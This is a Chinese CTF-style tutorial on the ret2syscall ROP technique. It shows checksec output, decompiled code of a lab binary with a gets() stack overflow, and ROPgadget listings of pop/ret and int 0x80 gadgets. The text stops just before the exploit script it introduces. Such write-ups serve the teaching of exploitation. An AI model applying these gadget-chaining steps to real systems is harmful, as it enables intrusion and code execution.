在 Linux 中,系统调用通常通过 int 80h 这一汇编代码实现,int 表示的是终端,interrupt,80h 则是代指的系统调用的终端符号,当程序执行到 int 80h 这一代码的时候,就会将相应的通用寄存器 eax 中的参数作为系统调用的调用号,其他寄存器中的值或者地址所指向的值作为参数,例如:
➜ ret2syscall checksec rop Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
可以看出,程序是一个 32 位小端序之开启了 NX 保护的程序,之后用 IDA 静态调试一下:
1 2 3 4 5 6 7 8 9 10 11
int __cdecl main(int argc, constchar **argv, constchar **envp) { int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 1, 0); puts("This time, no system() and NO SHELLCODE!!!"); puts("What do you plan to do?"); gets(&v4); return0; }
➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'eax' 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x080bb196 : pop eax ; ret 0x0807217a : pop eax ; ret 0x80e 0x0804f704 : pop eax ; ret 3 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
➜ ret2syscall ROPgadget --binary rop --only 'pop|ret' | grep 'ebx' 0x0809dde2 : pop ds ; pop ebx ; pop esi ; pop edi ; ret 0x0809ddda : pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0805b6ed : pop ebp ; pop ebx ; pop esi ; pop edi ; ret 0x0809e1d4 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret 0x080be23f : pop ebx ; pop edi ; ret 0x0806eb69 : pop ebx ; pop edx ; ret 0x08092258 : pop ebx ; pop esi ; pop ebp ; ret 0x0804838b : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x080a9a42 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x10 0x08096a26 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x14 0x08070d73 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0xc 0x0805ae81 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4 0x08049bfd : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8 0x08048913 : pop ebx ; pop esi ; pop edi ; ret 0x08049a19 : pop ebx ; pop esi ; pop edi ; ret 4 0x08049a94 : pop ebx ; pop esi ; ret 0x080481c9 : pop ebx ; ret 0x080d7d3c : pop ebx ; ret 0x6f9 0x08099c87 : pop ebx ; ret 8 0x0806eb91 : pop ecx ; pop ebx ; ret 0x0806336b : pop edi ; pop esi ; pop ebx ; ret 0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret 0x0809ddd9 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret 0x0806eb68 : pop esi ; pop ebx ; pop edx ; ret 0x0805c820 : pop esi ; pop ebx ; ret 0x08050256 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x0807b6ed : pop ss ; pop ebx ; ret
➜ ret2syscall ROPgadget --binary rop --only 'int' Gadgets information ============================================================ 0x08049421 : int 0x80 0x080938fe : int 0xbb 0x080869b5 : int 0xf6 0x0807b4d4 : int 0xfc
Unique gadgets found: 4
像这样,按照寄存器以及值的关系,依次将寄存器置位正确的值,之后执行 int 80h,即可达到正确的系统调用,相应的脚本如下: